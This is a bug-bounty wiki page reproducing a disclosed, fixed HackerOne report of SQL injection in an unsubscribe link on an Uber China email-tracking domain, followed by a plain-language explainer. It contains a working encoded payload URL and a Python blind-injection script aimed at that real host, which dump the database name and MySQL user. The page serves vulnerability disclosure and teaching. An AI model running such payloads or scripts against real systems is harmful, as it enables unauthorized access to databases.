SQL Injection on sctrack.email.uber.com.cn
The unsubscribe link on a marketing email contained a user_id parameter that was vulnerable to SQL injection. An attacker could use time-based blind SQL injection to extract the database name and MySQL username.
Originally disclosed on HackerOne
- Triaged in 5 days
- Fixed in 7 days
- Paid in 14 days
- Disclosed after 17 days
Hi, Uber Security team
I just traveled to China, when I call Uber in China. I received an advertisement mail from Uber and I found the unsubscribe link is different from the original unsubscribe link, and there is a SQL Injection under the unsubscribe link.
You can see where to find the unsubscribe link from the attachments.
The parameter of user_id is suffered from SQL Injection.
Payload
http://sctrack.email.uber.com.cn/track/unsubscribe.do?p=eyJ1c2VyX2lkIjogIjU3NTUgYW5kIHNsZWVwKDEyKT0xIiwgInJlY2VpdmVyIjogIm9yYW5nZUBteW1haWwifQ==
You can see the server sleep 12 seconds.
I write a script to dump the database name and user name.
import json
import string
import requests
from urllib import quote
from base64 import b64encode
base = string.digits + '_-@.'
payload = {"user_id": 5755, "receiver": "blog.orange.tw"}
for l in range(0, 30):
for i in 'i'+base:
payload['user_id'] = "5755 and mid(user(),%d,1)='%c'#"%(l+1, i)
new_payload = json.dumps(payload)
new_payload = b64encode(new_payload)
r = requests.get('http://sctrack.email.uber.com.cn/track/unsubscribe.do?p='+quote(new_payload))
if len(r.content)>0:
print i,
break
The username of mysql user is [email protected]
The database name is sendcloud
Attachments



Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could extract sensitive database information, including the database name and MySQL username, through time-based blind SQL injection.
What the attacker needed
Access to the unsubscribe link
How it was found
- Receive an advertisement email from Uber in China and notice the unsubscribe link differs from the usual one.
- Identify that the user_id parameter in the unsubscribe link is vulnerable to SQL injection.
- Send a crafted request that causes the server to sleep for 12 seconds, confirming the injection.
- Use a script to extract the database name and MySQL username via time-based blind SQL injection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A website takes a value from a link and puts it directly into a database command without checking it. By sending a special value, an attacker can make the database wait or reveal hidden information, such as the database name and user.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.